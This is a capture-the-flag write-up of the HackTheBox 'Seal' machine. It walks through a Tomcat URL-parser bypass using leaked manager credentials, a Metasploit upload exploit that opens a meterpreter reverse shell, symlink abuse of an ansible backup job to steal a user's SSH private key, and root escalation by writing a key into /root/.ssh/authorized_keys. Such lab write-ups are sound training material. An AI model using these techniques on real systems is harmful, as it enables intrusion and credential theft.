Seal - [HTB]

Cover Image for Seal - [HTB]

Table of Contents


    Seal is an easy-medium linux machine from HackTheBox where the attacker will have to search for credentials in a gitbucket repository used in a bypass of an URL parser logic from the tomcat service. Then, in order to become root the attacker will have to create symbolic links to obtain luis' ssh private key. Finally, the attacker will gave to create an ansible playbook in order to retrieve the root flag.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Seal$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Warning: giving up on port because retransmission cap hit (2).
    Nmap scan report for
    Host is up (0.044s latency).
    Not shown: 65384 closed ports, 148 filtered ports
    22/tcp   open  ssh
    443/tcp  open  https
    8080/tcp open  http-proxy
    # Nmap done at Sat Jul 10 15:26:59 2021 -- 1 IP address (1 host up) scanned in 50.75 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Seal$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,443,8080
    Nmap scan report for
    Host is up (0.040s latency).
    22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
    |   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
    |_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
    443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    |_http-title: Seal Market
    | ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
    | Not valid before: 2021-05-05T10:24:03
    |_Not valid after:  2022-05-05T10:24:03
    | tls-alpn: 
    |_  http/1.1
    | tls-nextprotoneg: 
    |_  http/1.1
    8080/tcp open  http-proxy
    Service detection performed. Please report any incorrect results at .
    # Nmap done at Sat Jul 10 15:28:18 2021 -- 1 IP address (1 host up) scanned in 18.57 seconds

    Thanks to nmap we can add seal.htb to /etc/hosts so you will be able to access to the seal market despite not having nothing interesting.


    Then, in the 8080 port there is a gitbucket page running. We need to register in order to see what is inside.


    In gitbucket there are two repositories Seal_market and infra.

    Gitbukcet repositories

    In seal_market there is a issue where we can find another issue about mutual authentication.

    Seal market issue

    Searching through every commit we can find in the commit "Adding tomcat configuration" the credentials for the tomcat manager.

    <user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

    However, we are not able to access to the tomcat's directories: /manager/html and/host-manager/html, due to the following configuration.

    	location /manager/html {
    		if ($ssl_client_verify != SUCCESS) {
    			return 403;
            location /host-manager/html {
                    if ($ssl_client_verify != SUCCESS) {
                            return 403;


    Nonetheless there is a way to break the tomcat URL parser logic, as we can see in a blackhat presentation, but basically we can bypass the parser with https://seal.htb/manager/..;/manager/html.

    Furtheremore, there is a metasploit module that we can use in order to obtain a reverse shell as tomcat.

    msf6 exploit(multi/http/tomcat_mgr_upload) > options
    Module options (exploit/multi/http/tomcat_mgr_upload):
       Name          Current Setting        Required  Description
       ----          ---------------        --------  -----------
       HttpPassword  42MrHBf*z8{Z%          no        The password for the specified username
       HttpUsername  tomcat                 no        The username to authenticate as
       Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT         443                    yes       The target port (TCP)
       SSL           true                   no        Negotiate SSL/TLS for outgoing connections
       TARGETURI     /manager/..;/manager/  yes       The URI path of the manager app (/html/upload and /undeploy will be used)
       VHOST         seal.htb               no        HTTP server virtual host
    Payload options (java/meterpreter/reverse_tcp):
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST      yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    Exploit target:
       Id  Name
       --  ----
       0   Java Universal
    msf6 exploit(multi/http/tomcat_mgr_upload) > run
    [*] Started reverse TCP handler on 
    [*] Retrieving session ID and CSRF token...
    [*] Uploading and deploying ayjTOkltRwI0Q...
    [*] Executing ayjTOkltRwI0Q...
    [*] Undeploying ayjTOkltRwI0Q ...
    [*] Sending stage (58033 bytes) to
    [*] Meterpreter session 1 opened ( -> at 2021-07-12 14:18:58 -0400
    meterpreter > shell
    Process 1 created.
    Channel 1 created.
    uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

    Privilege escalation 1

    Enumerating the file system there is a special folder /opt/backups where we can find backup files and a run.yml file.

    meterpreter > ls -laR /opt/backups
    Listing: /opt/backups/archives
    Mode              Size    Type  Last modified              Name
    ----              ----    ----  -------------              ----
    100444/r--r--r--  606047  fil   2021-07-13 04:55:44 -0400  backup-2021-07-13-08:55:38.gz
    100444/r--r--r--  606047  fil   2021-07-13 04:56:45 -0400  backup-2021-07-13-08:56:39.gz
    100444/r--r--r--  606047  fil   2021-07-13 04:57:45 -0400  backup-2021-07-13-08:57:38.gz
    Listing: /opt/backups/playbook
    Mode              Size  Type  Last modified              Name
    ----              ----  ----  -------------              ----
    100444/r--r--r--  403   fil   2021-05-07 03:14:42 -0400  run.yml
    Listing: /opt/backups
    Mode             Size  Type  Last modified              Name
    ----             ----  ----  -------------              ----
    40554/r-xr-xr--  4096  dir   2021-07-13 04:46:45 -0400  archives
    40554/r-xr-xr--  4096  dir   2021-05-07 05:26:42 -0400  playbook

    Looking inside run.yml, the script copies each file in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard folder into a gzip file.

    meterpreter > cat run.yml
    - hosts: localhost
      - name: Copy Files
        synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
      - name: Server Backups
          path: /opt/backups/files/
          dest: "/opt/backups/archives/backup-{{}}-{{ansible_date_time.time}}.gz"
      - name: Clean
          state: absent
          path: /opt/backups/files/

    Furthermore, inside the dashboard folder there is another folder upload where we have write permissions.

    meterpreter > ls /var/lib/tomcat9/webapps/ROOT/admin/dashboard
    Listing: /var/lib/tomcat9/webapps/ROOT/admin/dashboard
    Mode              Size   Type  Last modified              Name
    ----              ----   ----  -------------              ----
    40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  bootstrap
    40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  css
    40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  images
    100444/r--r--r--  71744  fil   2021-05-06 06:42:07 -0400  index.html
    40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  scripts
    40776/rwxrwxrw-   4096   dir   2021-05-07 05:26:42 -0400  upload

    Hence, symbolic link files can be added to the uploads folder retrieving the actual files once the run.yml is being executed.

    The commands are the following.

    meterpreter > cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
    meterpreter > shell
    Process 12 created.                            
    Channel 31 created.                                           
    ln -s /home/luis/user.txt user.txt                                                                                 ln -s /home/luis/.ssh/id_rsa id_rsa
    meterpreter > cd /opt/backups/archives                                            
    meterpreter > ls
    Listing: /opt/backups/archives
    Mode              Size    Type  Last modified              Name
    ----              ----    ----  -------------              ----
    100444/r--r--r--  609005  fil   2021-07-13 05:15:45 -0400  backup-2021-07-13-09:15:37.gz
    meterpreter > download backup-2021-07-13-09:15:37.gz
    [*] Downloading: backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
    [*] Downloaded 594.73 KiB of 594.73 KiB (100.0%): backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
    [*] download   : backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
    kali@kali:/tmp$ gunzip backup-2021-07-13-09:15:37.gz
    kali@kali:/tmp$ mimeopen -a backup-2021-07-13-09:15:37
    Please choose an application
            1) Engrampa Archive Manager  (engrampa)
    use application #1
    Opening "backup-2021-07-13-09:15:37" with Engrampa Archive Manager  (application/x-tar)

    As we can see in the picture below we obtained successfully both files.

    Backup files

    Once the id_rsa file has been extracted,it can be used for getting access as luis through SSH.

    kali@kali:/tmp$ chmod 600 id_rsa
    kali@kali:/tmp$ ssh -i id_rsa luis@seal.htb
    luis@seal:~$ id
    uid=1000(luis) gid=1000(luis) groups=1000(luis)

    Privilege escalation 2

    The user luis can execute the following python script as root.

    luis@seal:/tmp$ sudo -l
    Matching Defaults entries for luis on seal:
        env_reset, mail_badpass,
    User luis may run the following commands on seal:
        (ALL) NOPASSWD: /usr/bin/ansible-playbook *

    Thanks to the examples in this post we can create our own run.yml which will allow us to connect to the machine as the root user through ssh.

    Note: Create you own ssh key in order to add it to the file.

    luis@seal:/tmp$ cat run.yml 
    - hosts: localhost
      - name: Run a command as nobody
             "mkdir /root/.ssh; echo '<>' > /root/.ssh/authorized_keys"

    In order to obtain the root flag, execute the script and then connect to the machine as you can see below.

    luis@seal:/tmp$ sudo /usr/bin/ansible-playbook /tmp/run.yml 
    PLAY [localhost] 
    TASK [Gathering Facts] 
    ok: [localhost]
    TASK [Run a command as nobody] 
    [WARNING]: Consider using the file module with state=directory rather than running 'mkdir'.  If you need to use command because file is insufficient you can add
    'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this message.
    changed: [localhost]
    localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0  
    kali@kali:~/Documents/HTB/Seal$ ssh root@seal.htb
    root@seal:~# cat root.txt